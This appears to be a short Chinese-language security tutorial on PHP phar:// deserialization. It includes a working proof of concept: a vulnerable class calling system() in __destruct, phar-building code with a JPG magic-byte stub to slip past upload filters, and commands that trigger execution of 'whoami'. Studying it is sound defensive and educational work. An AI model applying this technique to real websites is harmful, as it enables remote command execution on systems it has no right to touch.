phar:// 反序列化

Reading time: 3 minutes

Phar 文件（PHP Archive）包含序列化格式的元数据，因此，当解析时，这个 元数据 会被 反序列化，你可以尝试利用 反序列化 漏洞在 PHP 代码中。

这个特性的最佳之处在于，即使使用不执行 PHP 代码的 PHP 函数，如 file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize()，也会发生这种反序列化。

所以，想象一个情况，你可以让一个 PHP 网站使用 phar:// 协议获取任意文件的大小，并且在代码中你发现一个类似于以下的 class：

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

您可以创建一个 phar 文件，当加载时将 滥用此类以执行任意命令，例如：

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

注意 JPG 的魔术字节 (\xff\xd8\xff) 是如何在 phar 文件的开头添加的，以 绕过 可能的 文件 上传 限制。
编译 test.phar 文件：

php --define phar.readonly=0 create_phar.php

并利用易受攻击的代码执行 whoami 命令：

php vuln.php

参考

https://blog.ripstech.com/2018/new-php-exploitation-technique/